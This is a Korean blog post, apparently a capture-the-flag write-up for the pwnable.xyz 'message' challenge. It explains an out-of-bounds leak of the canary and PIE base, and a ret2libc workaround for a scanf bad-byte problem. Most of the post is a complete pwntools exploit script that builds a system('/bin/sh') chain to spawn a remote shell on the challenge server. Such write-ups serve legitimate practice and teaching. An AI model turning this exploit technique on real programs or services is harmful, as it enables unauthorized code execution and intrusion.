해당 문제를 어떻게 풀어야하는지에 대한 지인의 요청으로 포스팅을 하겠되었습니다.
일단 해당 문제는 oob를 활용해 canary, pie leak 하는 문제입니다.
하지만 ret를 덮기위해 입력받는 함수가 scanf로, 해당 함수로 입력을 받는 다는 것입니다.
이에 다음과 같은 문자를 입력할 경우 그 위치에서 입력을 중단됩니다.
\x09, \x0a, \x0b, \x0c, \x0d, \x20
이를 생각하고 leak 한 값을 가지고 ret 을 덮어 win 을 실행하려고 하면 이상한게 보입니다.
3바이트 주소중 두번째 바이트가 0xa 라는 겁니다. 이에 win으로 바로 ret를 줄 수 없습니다.
( 에전에 작성된 라이트업을 그냥 쓰면 안될 겁니다. pie_base 가 개행문자를 벗어날 수 있는 값이 나올때 까지 돌리면 가능합니다.)
이에 본 풀이는 해당 문제에 스택에 존재하는 libc 주소를 찾아내어 이를 사용하여 Return to libc 로 문제를 해결하였습니다.
중요한 점은 rwsr 문제에서 사용된 alpine-libc-2.28.so 를 사용하여 일반적인 방법으로는 libc_base 를 구하는데 어려움이 있습니다.
(rwsr 문제를 참고해주세요)
이렇게 libc를 찾았다면 익스를 할 수 있습니다.
from pwn import *
def slog(name, addr): return success(": ".join([name, hex(addr)]))
context.log_level = 'debug'
context.terminal = ['urxvtc', '-e', 'sh', '-c']
context.arch = 'amd64'
file = "./message"
ip_addr = "svc.pwnable.xyz"
port = 30017
mode = 1
p = remote(ip_addr, port)
e = ELF(file)
libc =ELF("./alpine-libc-2.28.so")
pay = b"123"
p.sendlineafter("Message: ", pay)
offset = 0x8
canary = b""
for i in range(1, 8):
p.sendlineafter(">", chr(0x30 + 0x12 - offset + i))
p.recvuntil(b"Error: ")
leak = int(p.recvuntil(b" "), 10)
canary += p8(leak)
canary = u64(canary.rjust(8,b"\x00"))
slog("canary", canary)
pb = b""
for i in range(0, 6):
p.sendlineafter(">", chr(0x30 + 0x12 + offset + i))
p.recvuntil(b"Error: ")
leak = int(p.recvuntil(b" "), 10)
pb += p8(leak)
pb = u64(pb.ljust(8,b"\x00")) - 0xb30
slog("pie_base", pb)
win = pb + 0xBC3
#e.address = pb
pay = b"A"*0x28 + p64(canary) + b"A"*0x8 + p64(win)
slog("a", libc.sym['puts'])
#0x58
l = b""
for i in range(0, 6):
p.sendlineafter(">", (0x30 + 0x12 - offset +0x10 + 0x60 + i).to_bytes(1, "little"))
p.recvuntil(b"Error: ")
leak = int(p.recvuntil(b" "), 10)
l += p8(leak)
l = u64(l.ljust(8,b"\x00"))
slog("libc", l)
l = l - 0xe82c4
slog("l", l)
magic = [0x426ca, 0x4271e, 0x10a2fc]
binsh = l + list(libc.search(b"/bin/sh"))[0]
system = l + libc.sym['system']
slog("binsh", binsh)
slog("system",system)
slog("rdi ret", 0x000000000002186d + l)
pay = b"A"*0x28 + p64(canary) + p64(0xdeadbeef) + p64(0x000000000002186d + l) + p64(binsh) + p64(l + libc.sym['system'])
p.sendlineafter(">", str(1))
p.sendlineafter("Message: ", pay)
p.interactive()
'Pwnable > writeup' 카테고리의 다른 글
HCAMP24-1 Check this Exploit Code (0) | 2024.02.18 |
---|---|
Pwnable.tw - 3x17 (0) | 2022.07.29 |
BDCTF - pwnrace (2) | 2022.07.24 |
CBHC - Mind Control2 (0) | 2022.07.23 |
CBHC - Mind Control (0) | 2022.07.23 |